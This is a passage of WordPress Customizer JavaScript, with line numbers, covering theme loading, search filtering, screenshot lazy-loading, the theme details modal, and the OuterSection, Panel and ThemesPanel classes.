1987 }
1988 return;
1989 }
1990
1991 function expand() {
1992
1993 // Try to load controls if none are loaded yet.
1994 if ( 0 === section.loaded ) {
1995 section.loadThemes();
1996 }
1997
1998 // Collapse any sibling sections/panels.
1999 api.section.each( function ( otherSection ) {
2000 var searchTerm;
2001
2002 if ( otherSection !== section ) {
2003
2004 // Try to sync the current search term to the new section.
2005 if ( 'themes' === otherSection.params.type ) {
2006 searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val();
2007 section.contentContainer.find( '.wp-filter-search' ).val( searchTerm );
2008
2009 // Directly initialize an empty remote search to avoid a race condition.
2010 if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) {
2011 section.term = '';
2012 section.initializeNewQuery( section.term, section.tags );
2013 } else {
2014 if ( 'remote' === section.params.filter_type ) {
2015 section.checkTerm( section );
2016 } else if ( 'local' === section.params.filter_type ) {
2017 section.filterSearch( searchTerm );
2018 }
2019 }
2020 otherSection.collapse( { duration: args.duration } );
2021 }
2022 }
2023 });
2024
2025 section.contentContainer.addClass( 'current-section' );
2026 container.scrollTop();
2027
2028 container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) );
2029 container.on( 'scroll', _.throttle( section.loadMore, 300 ) );
2030
2031 if ( args.completeCallback ) {
2032 args.completeCallback();
2033 }
2034 section.updateCount(); // Show this section's count.
2035 }
2036
2037 if ( expanded ) {
2038 if ( section.panel() && api.panel.has( section.panel() ) ) {
2039 api.panel( section.panel() ).expand({
2040 duration: args.duration,
2041 completeCallback: expand
2042 });
2043 } else {
2044 expand();
2045 }
2046 } else {
2047 section.contentContainer.removeClass( 'current-section' );
2048
2049 // Always hide, even if they don't exist or are already hidden.
2050 section.headerContainer.find( '.filter-details' ).slideUp( 180 );
2051
2052 container.off( 'scroll' );
2053
2054 if ( args.completeCallback ) {
2055 args.completeCallback();
2056 }
2057 }
2058 },
2059
2060 /**
2061 * Return the section's content element without detaching from the parent.
2062 *
2063 * @since 4.9.0
2064 *
2065 * @return {jQuery}
2066 */
2067 getContent: function() {
2068 return this.container.find( '.control-section-content' );
2069 },
2070
2071 /**
2072 * Load theme data via Ajax and add themes to the section as controls.
2073 *
2074 * @since 4.9.0
2075 *
2076 * @return {void}
2077 */
2078 loadThemes: function() {
2079 var section = this, params, page, request;
2080
2081 if ( section.loading ) {
2082 return; // We're already loading a batch of themes.
2083 }
2084
2085 // Parameters for every API query. Additional params are set in PHP.
2086 page = Math.ceil( section.loaded / 100 ) + 1;
2087 params = {
2088 'nonce': api.settings.nonce.switch_themes,
2089 'wp_customize': 'on',
2090 'theme_action': section.params.action,
2091 'customized_theme': api.settings.theme.stylesheet,
2092 'page': page
2093 };
2094
2095 // Add fields for remote filtering.
2096 if ( 'remote' === section.params.filter_type ) {
2097 params.search = section.term;
2098 params.tags = section.tags;
2099 }
2100
2101 // Load themes.
2102 section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' );
2103 section.loading = true;
2104 section.container.find( '.no-themes' ).hide();
2105 request = wp.ajax.post( 'customize_load_themes', params );
2106 request.done(function( data ) {
2107 var themes = data.themes;
2108
2109 // Stop and try again if the term changed while loading.
2110 if ( '' !== section.nextTerm || '' !== section.nextTags ) {
2111 if ( section.nextTerm ) {
2112 section.term = section.nextTerm;
2113 }
2114 if ( section.nextTags ) {
2115 section.tags = section.nextTags;
2116 }
2117 section.nextTerm = '';
2118 section.nextTags = '';
2119 section.loading = false;
2120 section.loadThemes();
2121 return;
2122 }
2123
2124 if ( 0 !== themes.length ) {
2125
2126 section.loadControls( themes, page );
2127
2128 if ( 1 === page ) {
2129
2130 // Pre-load the first 3 theme screenshots.
2131 _.each( section.controls().slice( 0, 3 ), function( control ) {
2132 var img, src = control.params.theme.screenshot[0];
2133 if ( src ) {
2134 img = new Image();
2135 img.src = src;
2136 }
2137 });
2138 if ( 'local' !== section.params.filter_type ) {
2139 wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) );
2140 }
2141 }
2142
2143 _.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible.
2144
2145 if ( 'local' === section.params.filter_type || 100 > themes.length ) {
2146 // If we have less than the requested 100 themes, it's the end of the list.
2147 section.fullyLoaded = true;
2148 }
2149 } else {
2150 if ( 0 === section.loaded ) {
2151 section.container.find( '.no-themes' ).show();
2152 wp.a11y.speak( section.container.find( '.no-themes' ).text() );
2153 } else {
2154 section.fullyLoaded = true;
2155 }
2156 }
2157 if ( 'local' === section.params.filter_type ) {
2158 section.updateCount(); // Count of visible theme controls.
2159 } else {
2160 section.updateCount( data.info.results ); // Total number of results including pages not yet loaded.
2161 }
2162 section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown.
2163
2164 // This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
2165 section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
2166 section.loading = false;
2167 });
2168 request.fail(function( data ) {
2169 if ( 'undefined' === typeof data ) {
2170 section.container.find( '.unexpected-error' ).show();
2171 wp.a11y.speak( section.container.find( '.unexpected-error' ).text() );
2172 } else if ( 'undefined' !== typeof console && console.error ) {
2173 console.error( data );
2174 }
2175
2176 // This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
2177 section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
2178 section.loading = false;
2179 });
2180 },
2181
2182 /**
2183 * Loads controls into the section from data received from loadThemes().
2184 *
2185 * @since 4.9.0
2186 * @param {Array} themes - Array of theme data to create controls with.
2187 * @param {number} page - Page of results being loaded.
2188 * @return {void}
2189 */
2190 loadControls: function( themes, page ) {
2191 var newThemeControls = [],
2192 section = this;
2193
2194 // Add controls for each theme.
2195 _.each( themes, function( theme ) {
2196 var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, {
2197 type: 'theme',
2198 section: section.params.id,
2199 theme: theme,
2200 priority: section.loaded + 1
2201 } );
2202
2203 api.control.add( themeControl );
2204 newThemeControls.push( themeControl );
2205 section.loaded = section.loaded + 1;
2206 });
2207
2208 if ( 1 !== page ) {
2209 Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue.
2210 }
2211 },
2212
2213 /**
2214 * Determines whether more themes should be loaded, and loads them.
2215 *
2216 * @since 4.9.0
2217 * @return {void}
2218 */
2219 loadMore: function() {
2220 var section = this, container, bottom, threshold;
2221 if ( ! section.fullyLoaded && ! section.loading ) {
2222 container = section.container.closest( '.customize-themes-full-container' );
2223
2224 bottom = container.scrollTop() + container.height();
2225 // Use a fixed distance to the bottom of loaded results to avoid unnecessarily
2226 // loading results sooner when using a percentage of scroll distance.
2227 threshold = container.prop( 'scrollHeight' ) - 3000;
2228
2229 if ( bottom > threshold ) {
2230 section.loadThemes();
2231 }
2232 }
2233 },
2234
2235 /**
2236 * Event handler for search input that filters visible controls.
2237 *
2238 * @since 4.9.0
2239 *
2240 * @param {string} term - The raw search input value.
2241 * @return {void}
2242 */
2243 filterSearch: function( term ) {
2244 var count = 0,
2245 visible = false,
2246 section = this,
2247 noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes',
2248 controls = section.controls(),
2249 terms;
2250
2251 if ( section.loading ) {
2252 return;
2253 }
2254
2255 // Standardize search term format and split into an array of individual words.
2256 terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' );
2257
2258 _.each( controls, function( control ) {
2259 visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term.
2260 if ( visible ) {
2261 count = count + 1;
2262 }
2263 });
2264
2265 if ( 0 === count ) {
2266 section.container.find( noFilter ).show();
2267 wp.a11y.speak( section.container.find( noFilter ).text() );
2268 } else {
2269 section.container.find( noFilter ).hide();
2270 }
2271
2272 section.renderScreenshots();
2273 api.reflowPaneContents();
2274
2275 // Update theme count.
2276 section.updateCountDebounced( count );
2277 },
2278
2279 /**
2280 * Event handler for search input that determines if the terms have changed and loads new controls as needed.
2281 *
2282 * @since 4.9.0
2283 *
2284 * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer.
2285 * @return {void}
2286 */
2287 checkTerm: function( section ) {
2288 var newTerm;
2289 if ( 'remote' === section.params.filter_type ) {
2290 newTerm = section.contentContainer.find( '.wp-filter-search' ).val();
2291 if ( section.term !== newTerm.trim() ) {
2292 section.initializeNewQuery( newTerm, section.tags );
2293 }
2294 }
2295 },
2296
2297 /**
2298 * Check for filters checked in the feature filter list and initialize a new query.
2299 *
2300 * @since 4.9.0
2301 *
2302 * @return {void}
2303 */
2304 filtersChecked: function() {
2305 var section = this,
2306 items = section.container.find( '.filter-group' ).find( ':checkbox' ),
2307 tags = [];
2308
2309 _.each( items.filter( ':checked' ), function( item ) {
2310 tags.push( $( item ).prop( 'value' ) );
2311 });
2312
2313 // When no filters are checked, restore initial state. Update filter count.
2314 if ( 0 === tags.length ) {
2315 tags = '';
2316 section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show();
2317 section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide();
2318 } else {
2319 section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length );
2320 section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide();
2321 section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show();
2322 }
2323
2324 // Check whether tags have changed, and either load or queue them.
2325 if ( ! _.isEqual( section.tags, tags ) ) {
2326 if ( section.loading ) {
2327 section.nextTags = tags;
2328 } else {
2329 if ( 'remote' === section.params.filter_type ) {
2330 section.initializeNewQuery( section.term, tags );
2331 } else if ( 'local' === section.params.filter_type ) {
2332 section.filterSearch( tags.join( ' ' ) );
2333 }
2334 }
2335 }
2336 },
2337
2338 /**
2339 * Reset the current query and load new results.
2340 *
2341 * @since 4.9.0
2342 *
2343 * @param {string} newTerm - New term.
2344 * @param {Array} newTags - New tags.
2345 * @return {void}
2346 */
2347 initializeNewQuery: function( newTerm, newTags ) {
2348 var section = this;
2349
2350 // Clear the controls in the section.
2351 _.each( section.controls(), function( control ) {
2352 control.container.remove();
2353 api.control.remove( control.id );
2354 });
2355 section.loaded = 0;
2356 section.fullyLoaded = false;
2357 section.screenshotQueue = null;
2358
2359 // Run a new query, with loadThemes handling paging, etc.
2360 if ( ! section.loading ) {
2361 section.term = newTerm;
2362 section.tags = newTags;
2363 section.loadThemes();
2364 } else {
2365 section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded.
2366 section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded.
2367 }
2368 if ( ! section.expanded() ) {
2369 section.expand(); // Expand the section if it isn't expanded.
2370 }
2371 },
2372
2373 /**
2374 * Render control's screenshot if the control comes into view.
2375 *
2376 * @since 4.2.0
2377 *
2378 * @return {void}
2379 */
2380 renderScreenshots: function() {
2381 var section = this;
2382
2383 // Fill queue initially, or check for more if empty.
2384 if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) {
2385
2386 // Add controls that haven't had their screenshots rendered.
2387 section.screenshotQueue = _.filter( section.controls(), function( control ) {
2388 return ! control.screenshotRendered;
2389 });
2390 }
2391
2392 // Are all screenshots rendered (for now)?
2393 if ( ! section.screenshotQueue.length ) {
2394 return;
2395 }
2396
2397 section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) {
2398 var $imageWrapper = control.container.find( '.theme-screenshot' ),
2399 $image = $imageWrapper.find( 'img' );
2400
2401 if ( ! $image.length ) {
2402 return false;
2403 }
2404
2405 if ( $image.is( ':hidden' ) ) {
2406 return true;
2407 }
2408
2409 // Based on unveil.js.
2410 var wt = section.$window.scrollTop(),
2411 wb = wt + section.$window.height(),
2412 et = $image.offset().top,
2413 ih = $imageWrapper.height(),
2414 eb = et + ih,
2415 threshold = ih * 3,
2416 inView = eb >= wt - threshold && et <= wb + threshold;
2417
2418 if ( inView ) {
2419 control.container.trigger( 'render-screenshot' );
2420 }
2421
2422 // If the image is in view return false so it's cleared from the queue.
2423 return ! inView;
2424 } );
2425 },
2426
2427 /**
2428 * Get visible count.
2429 *
2430 * @since 4.9.0
2431 *
2432 * @return {number} Visible count.
2433 */
2434 getVisibleCount: function() {
2435 return this.contentContainer.find( 'li.customize-control:visible' ).length;
2436 },
2437
2438 /**
2439 * Update the number of themes in the section.
2440 *
2441 * @since 4.9.0
2442 *
2443 * @return {void}
2444 */
2445 updateCount: function( count ) {
2446 var section = this, countEl, displayed;
2447
2448 if ( ! count && 0 !== count ) {
2449 count = section.getVisibleCount();
2450 }
2451
2452 displayed = section.contentContainer.find( '.themes-displayed' );
2453 countEl = section.contentContainer.find( '.theme-count' );
2454
2455 if ( 0 === count ) {
2456 countEl.text( '0' );
2457 } else {
2458
2459 // Animate the count change for emphasis.
2460 displayed.fadeOut( 180, function() {
2461 countEl.text( count );
2462 displayed.fadeIn( 180 );
2463 } );
2464 wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) );
2465 }
2466 },
2467
2468 /**
2469 * Advance the modal to the next theme.
2470 *
2471 * @since 4.2.0
2472 *
2473 * @return {void}
2474 */
2475 nextTheme: function () {
2476 var section = this;
2477 if ( section.getNextTheme() ) {
2478 section.showDetails( section.getNextTheme(), function() {
2479 section.overlay.find( '.right' ).focus();
2480 } );
2481 }
2482 },
2483
2484 /**
2485 * Get the next theme model.
2486 *
2487 * @since 4.2.0
2488 *
2489 * @return {wp.customize.ThemeControl|boolean} Next theme.
2490 */
2491 getNextTheme: function () {
2492 var section = this, control, nextControl, sectionControls, i;
2493 control = api.control( section.params.action + '_theme_' + section.currentTheme );
2494 sectionControls = section.controls();
2495 i = _.indexOf( sectionControls, control );
2496 if ( -1 === i ) {
2497 return false;
2498 }
2499
2500 nextControl = sectionControls[ i + 1 ];
2501 if ( ! nextControl ) {
2502 return false;
2503 }
2504 return nextControl.params.theme;
2505 },
2506
2507 /**
2508 * Advance the modal to the previous theme.
2509 *
2510 * @since 4.2.0
2511 * @return {void}
2512 */
2513 previousTheme: function () {
2514 var section = this;
2515 if ( section.getPreviousTheme() ) {
2516 section.showDetails( section.getPreviousTheme(), function() {
2517 section.overlay.find( '.left' ).focus();
2518 } );
2519 }
2520 },
2521
2522 /**
2523 * Get the previous theme model.
2524 *
2525 * @since 4.2.0
2526 * @return {wp.customize.ThemeControl|boolean} Previous theme.
2527 */
2528 getPreviousTheme: function () {
2529 var section = this, control, nextControl, sectionControls, i;
2530 control = api.control( section.params.action + '_theme_' + section.currentTheme );
2531 sectionControls = section.controls();
2532 i = _.indexOf( sectionControls, control );
2533 if ( -1 === i ) {
2534 return false;
2535 }
2536
2537 nextControl = sectionControls[ i - 1 ];
2538 if ( ! nextControl ) {
2539 return false;
2540 }
2541 return nextControl.params.theme;
2542 },
2543
2544 /**
2545 * Disable buttons when we're viewing the first or last theme.
2546 *
2547 * @since 4.2.0
2548 *
2549 * @return {void}
2550 */
2551 updateLimits: function () {
2552 if ( ! this.getNextTheme() ) {
2553 this.overlay.find( '.right' ).addClass( 'disabled' );
2554 }
2555 if ( ! this.getPreviousTheme() ) {
2556 this.overlay.find( '.left' ).addClass( 'disabled' );
2557 }
2558 },
2559
2560 /**
2561 * Load theme preview.
2562 *
2563 * @since 4.7.0
2564 * @access public
2565 *
2566 * @deprecated
2567 * @param {string} themeId Theme ID.
2568 * @return {jQuery.promise} Promise.
2569 */
2570 loadThemePreview: function( themeId ) {
2571 return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId );
2572 },
2573
2574 /**
2575 * Render & show the theme details for a given theme model.
2576 *
2577 * @since 4.2.0
2578 *
2579 * @param {Object} theme - Theme.
2580 * @param {Function} [callback] - Callback once the details have been shown.
2581 * @return {void}
2582 */
2583 showDetails: function ( theme, callback ) {
2584 var section = this, panel = api.panel( 'themes' );
2585 section.currentTheme = theme.id;
2586 section.overlay.html( section.template( theme ) )
2587 .fadeIn( 'fast' )
2588 .focus();
2589
2590 function disableSwitchButtons() {
2591 return ! panel.canSwitchTheme( theme.id );
2592 }
2593
2594 // Temporary special function since supplying SFTP credentials does not work yet. See #42184.
2595 function disableInstallButtons() {
2596 return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
2597 }
2598
2599 section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
2600 section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );
2601
2602 section.$body.addClass( 'modal-open' );
2603 section.containFocus( section.overlay );
2604 section.updateLimits();
2605 wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) );
2606 if ( callback ) {
2607 callback();
2608 }
2609 },
2610
2611 /**
2612 * Close the theme details modal.
2613 *
2614 * @since 4.2.0
2615 *
2616 * @return {void}
2617 */
2618 closeDetails: function () {
2619 var section = this;
2620 section.$body.removeClass( 'modal-open' );
2621 section.overlay.fadeOut( 'fast' );
2622 api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus();
2623 },
2624
2625 /**
2626 * Keep tab focus within the theme details modal.
2627 *
2628 * @since 4.2.0
2629 *
2630 * @param {jQuery} el - Element to contain focus.
2631 * @return {void}
2632 */
2633 containFocus: function( el ) {
2634 var tabbables;
2635
2636 el.on( 'keydown', function( event ) {
2637
2638 // Return if it's not the tab key
2639 // When navigating with prev/next focus is already handled.
2640 if ( 9 !== event.keyCode ) {
2641 return;
2642 }
2643
2644 // Uses jQuery UI to get the tabbable elements.
2645 tabbables = $( ':tabbable', el );
2646
2647 // Keep focus within the overlay.
2648 if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
2649 tabbables.first().focus();
2650 return false;
2651 } else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
2652 tabbables.last().focus();
2653 return false;
2654 }
2655 });
2656 }
2657 });
2658
2659 api.OuterSection = api.Section.extend(/** @lends wp.customize.OuterSection.prototype */{
2660
2661 /**
2662 * Class wp.customize.OuterSection.
2663 *
2664 * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so
2665 * it would require custom handling.
2666 *
2667 * @constructs wp.customize.OuterSection
2668 * @augments wp.customize.Section
2669 *
2670 * @since 4.9.0
2671 *
2672 * @return {void}
2673 */
2674 initialize: function() {
2675 var section = this;
2676 section.containerParent = '#customize-outer-theme-controls';
2677 section.containerPaneParent = '.customize-outer-pane-parent';
2678 api.Section.prototype.initialize.apply( section, arguments );
2679 },
2680
2681 /**
2682 * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect
2683 * on other sections and panels.
2684 *
2685 * @since 4.9.0
2686 *
2687 * @param {boolean} expanded - The expanded state to transition to.
2688 * @param {Object} [args] - Args.
2689 * @param {boolean} [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
2690 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
2691 * @param {Object} [args.duration] - The duration for the animation.
2692 */
2693 onChangeExpanded: function( expanded, args ) {
2694 var section = this,
2695 container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
2696 content = section.contentContainer,
2697 backBtn = content.find( '.customize-section-back' ),
2698 sectionTitle = section.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).first(),
2699 body = $( document.body ),
2700 expand, panel;
2701
2702 body.toggleClass( 'outer-section-open', expanded );
2703 section.container.toggleClass( 'open', expanded );
2704 section.container.removeClass( 'busy' );
2705 api.section.each( function( _section ) {
2706 if ( 'outer' === _section.params.type && _section.id !== section.id ) {
2707 _section.container.removeClass( 'open' );
2708 }
2709 } );
2710
2711 if ( expanded && ! content.hasClass( 'open' ) ) {
2712
2713 if ( args.unchanged ) {
2714 expand = args.completeCallback;
2715 } else {
2716 expand = function() {
2717 section._animateChangeExpanded( function() {
2718 backBtn.attr( 'tabindex', '0' );
2719 backBtn.trigger( 'focus' );
2720 content.css( 'top', '' );
2721 container.scrollTop( 0 );
2722
2723 if ( args.completeCallback ) {
2724 args.completeCallback();
2725 }
2726 } );
2727
2728 content.addClass( 'open' );
2729 }.bind( this );
2730 }
2731
2732 if ( section.panel() ) {
2733 api.panel( section.panel() ).expand({
2734 duration: args.duration,
2735 completeCallback: expand
2736 });
2737 } else {
2738 expand();
2739 }
2740
2741 } else if ( ! expanded && content.hasClass( 'open' ) ) {
2742 if ( section.panel() ) {
2743 panel = api.panel( section.panel() );
2744 if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
2745 panel.collapse();
2746 }
2747 }
2748 section._animateChangeExpanded( function() {
2749 backBtn.attr( 'tabindex', '-1' );
2750 sectionTitle.trigger( 'focus' );
2751 content.css( 'top', '' );
2752
2753 if ( args.completeCallback ) {
2754 args.completeCallback();
2755 }
2756 } );
2757
2758 content.removeClass( 'open' );
2759
2760 } else {
2761 if ( args.completeCallback ) {
2762 args.completeCallback();
2763 }
2764 }
2765 }
2766 });
2767
2768 api.Panel = Container.extend(/** @lends wp.customize.Panel.prototype */{
2769 containerType: 'panel',
2770
2771 /**
2772 * @constructs wp.customize.Panel
2773 * @augments wp.customize~Container
2774 *
2775 * @since 4.1.0
2776 *
2777 * @param {string} id - The ID for the panel.
2778 * @param {Object} options - Object containing one property: params.
2779 * @param {string} options.title - Title shown when panel is collapsed and expanded.
2780 * @param {string} [options.description] - Description shown at the top of the panel.
2781 * @param {number} [options.priority=100] - The sort priority for the panel.
2782 * @param {string} [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
2783 * @param {string} [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
2784 * @param {boolean} [options.active=true] - Whether the panel is active or not.
2785 * @param {Object} [options.params] - Deprecated wrapper for the above properties.
2786 */
2787 initialize: function ( id, options ) {
2788 var panel = this, params;
2789 params = options.params || options;
2790
2791 // Look up the type if one was not supplied.
2792 if ( ! params.type ) {
2793 _.find( api.panelConstructor, function( Constructor, type ) {
2794 if ( Constructor === panel.constructor ) {
2795 params.type = type;
2796 return true;
2797 }
2798 return false;
2799 } );
2800 }
2801
2802 Container.prototype.initialize.call( panel, id, params );
2803
2804 panel.embed();
2805 panel.deferred.embedded.done( function () {
2806 panel.ready();
2807 });
2808 },
2809
2810 /**
2811 * Embed the container in the DOM when any parent panel is ready.
2812 *
2813 * @since 4.1.0
2814 */
2815 embed: function () {
2816 var panel = this,
2817 container = $( '#customize-theme-controls' ),
2818 parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
2819
2820 if ( ! panel.headContainer.parent().is( parentContainer ) ) {
2821 parentContainer.append( panel.headContainer );
2822 }
2823 if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) {
2824 container.append( panel.contentContainer );
2825 }
2826 panel.renderContent();
2827
2828 panel.deferred.embedded.resolve();
2829 },
2830
2831 /**
2832 * @since 4.1.0
2833 */
2834 attachEvents: function () {
2835 var meta, panel = this;
2836
2837 // Expand/Collapse accordion sections on click.
2838 panel.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ).on( 'click keydown', function( event ) {
2839 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
2840 return;
2841 }
2842 event.preventDefault(); // Keep this AFTER the key filter above.
2843
2844 if ( ! panel.expanded() ) {
2845 panel.expand();
2846 }
2847 });
2848
2849 // Close panel.
2850 panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) {
2851 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
2852 return;
2853 }
2854 event.preventDefault(); // Keep this AFTER the key filter above.
2855
2856 if ( panel.expanded() ) {
2857 panel.collapse();
2858 }
2859 });
2860
2861 meta = panel.container.find( '.panel-meta:first' );
2862
2863 meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
2864 if ( meta.hasClass( 'cannot-expand' ) ) {
2865 return;
2866 }
2867
2868 var content = meta.find( '.customize-panel-description:first' );
2869 if ( meta.hasClass( 'open' ) ) {
2870 meta.toggleClass( 'open' );
2871 content.slideUp( panel.defaultExpandedArguments.duration, function() {
2872 content.trigger( 'toggled' );
2873 } );
2874 $( this ).attr( 'aria-expanded', false );
2875 } else {
2876 content.slideDown( panel.defaultExpandedArguments.duration, function() {
2877 content.trigger( 'toggled' );
2878 } );
2879 meta.toggleClass( 'open' );
2880 $( this ).attr( 'aria-expanded', true );
2881 }
2882 });
2883
2884 },
2885
2886 /**
2887 * Get the sections that are associated with this panel, sorted by their priority Value.
2888 *
2889 * @since 4.1.0
2890 *
2891 * @return {Array}
2892 */
2893 sections: function () {
2894 return this._children( 'panel', 'section' );
2895 },
2896
2897 /**
2898 * Return whether this panel has any active sections.
2899 *
2900 * @since 4.1.0
2901 *
2902 * @return {boolean} Whether contextually active.
2903 */
2904 isContextuallyActive: function () {
2905 var panel = this,
2906 sections = panel.sections(),
2907 activeCount = 0;
2908 _( sections ).each( function ( section ) {
2909 if ( section.active() && section.isContextuallyActive() ) {
2910 activeCount += 1;
2911 }
2912 } );
2913 return ( activeCount !== 0 );
2914 },
2915
2916 /**
2917 * Update UI to reflect expanded state.
2918 *
2919 * @since 4.1.0
2920 *
2921 * @param {boolean} expanded
2922 * @param {Object} args
2923 * @param {boolean} args.unchanged
2924 * @param {Function} args.completeCallback
2925 * @return {void}
2926 */
2927 onChangeExpanded: function ( expanded, args ) {
2928
2929 // Immediately call the complete callback if there were no changes.
2930 if ( args.unchanged ) {
2931 if ( args.completeCallback ) {
2932 args.completeCallback();
2933 }
2934 return;
2935 }
2936
2937 // Note: there is a second argument 'args' passed.
2938 var panel = this,
2939 accordionSection = panel.contentContainer,
2940 overlay = accordionSection.closest( '.wp-full-overlay' ),
2941 container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ),
2942 topPanel = panel.headContainer.find( '.accordion-section-title button, .accordion-section-title[tabindex]' ),
2943 backBtn = accordionSection.find( '.customize-panel-back' ),
2944 childSections = panel.sections(),
2945 skipTransition;
2946
2947 if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) {
2948 // Collapse any sibling sections/panels.
2949 api.section.each( function ( section ) {
2950 if ( panel.id !== section.panel() ) {
2951 section.collapse( { duration: 0 } );
2952 }
2953 });
2954 api.panel.each( function ( otherPanel ) {
2955 if ( panel !== otherPanel ) {
2956 otherPanel.collapse( { duration: 0 } );
2957 }
2958 });
2959
2960 if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) {
2961 accordionSection.addClass( 'current-panel skip-transition' );
2962 overlay.addClass( 'in-sub-panel' );
2963
2964 childSections[0].expand( {
2965 completeCallback: args.completeCallback
2966 } );
2967 } else {
2968 panel._animateChangeExpanded( function() {
2969 backBtn.attr( 'tabindex', '0' );
2970 backBtn.trigger( 'focus' );
2971 accordionSection.css( 'top', '' );
2972 container.scrollTop( 0 );
2973
2974 if ( args.completeCallback ) {
2975 args.completeCallback();
2976 }
2977 } );
2978
2979 accordionSection.addClass( 'current-panel' );
2980 overlay.addClass( 'in-sub-panel' );
2981 }
2982
2983 api.state( 'expandedPanel' ).set( panel );
2984
2985 } else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) {
2986 skipTransition = accordionSection.hasClass( 'skip-transition' );
2987 if ( ! skipTransition ) {
2988 panel._animateChangeExpanded( function() {
2989
2990 topPanel.focus();
2991 accordionSection.css( 'top', '' );
2992
2993 if ( args.completeCallback ) {
2994 args.completeCallback();
2995 }
2996 } );
2997 } else {
2998 accordionSection.removeClass( 'skip-transition' );
2999 }
3000
3001 overlay.removeClass( 'in-sub-panel' );
3002 accordionSection.removeClass( 'current-panel' );
3003 if ( panel === api.state( 'expandedPanel' ).get() ) {
3004 api.state( 'expandedPanel' ).set( false );
3005 }
3006 }
3007 },
3008
3009 /**
3010 * Render the panel from its JS template, if it exists.
3011 *
3012 * The panel's container must already exist in the DOM.
3013 *
3014 * @since 4.3.0
3015 */
3016 renderContent: function () {
3017 var template,
3018 panel = this;
3019
3020 // Add the content to the container.
3021 if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) {
3022 template = wp.template( panel.templateSelector + '-content' );
3023 } else {
3024 template = wp.template( 'customize-panel-default-content' );
3025 }
3026 if ( template && panel.headContainer ) {
3027 panel.contentContainer.html( template( _.extend(
3028 { id: panel.id },
3029 panel.params
3030 ) ) );
3031 }
3032 }
3033 });
3034
3035 api.ThemesPanel = api.Panel.extend(/** @lends wp.customize.ThemsPanel.prototype */{
3036
3037 /**
3038 * Class wp.customize.ThemesPanel.
3039 *
3040 * Custom section for themes that displays without the customize preview.
3041 *
3042 * @constructs wp.customize.ThemesPanel
3043 * @augments wp.customize.Panel
3044 *
3045 * @since 4.9.0
3046 *
3047 * @param {string} id - The ID for the panel.
3048 * @param {Object} options - Options.
3049 * @return {void}
3050 */
3051 initialize: function( id, options ) {
3052 var panel = this;
3053 panel.installingThemes = [];
3054 api.Panel.prototype.initialize.call( panel, id, options );
3055 },
3056
3057 /**
3058 * Determine whether a given theme can be switched to, or in general.
3059 *
3060 * @since 4.9.0
3061 *
3062 * @param {string} [slug] - Theme slug.
3063 * @return {boolean} Whether the theme can be switched to.
3064 */
3065 canSwitchTheme: function canSwitchTheme( slug ) {
3066 if ( slug && slug === api.settings.theme.stylesheet ) {
3067 return true;
3068 }
3069 return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() );
3070 },
3071
3072 /**
3073 * Attach events.
3074 *
3075 * @since 4.9.0
3076 * @return {void}
3077 */
3078 attachEvents: function() {
3079 var panel = this;
3080
3081 // Attach regular panel events.
3082 api.Panel.prototype.attachEvents.apply( panel );
3083
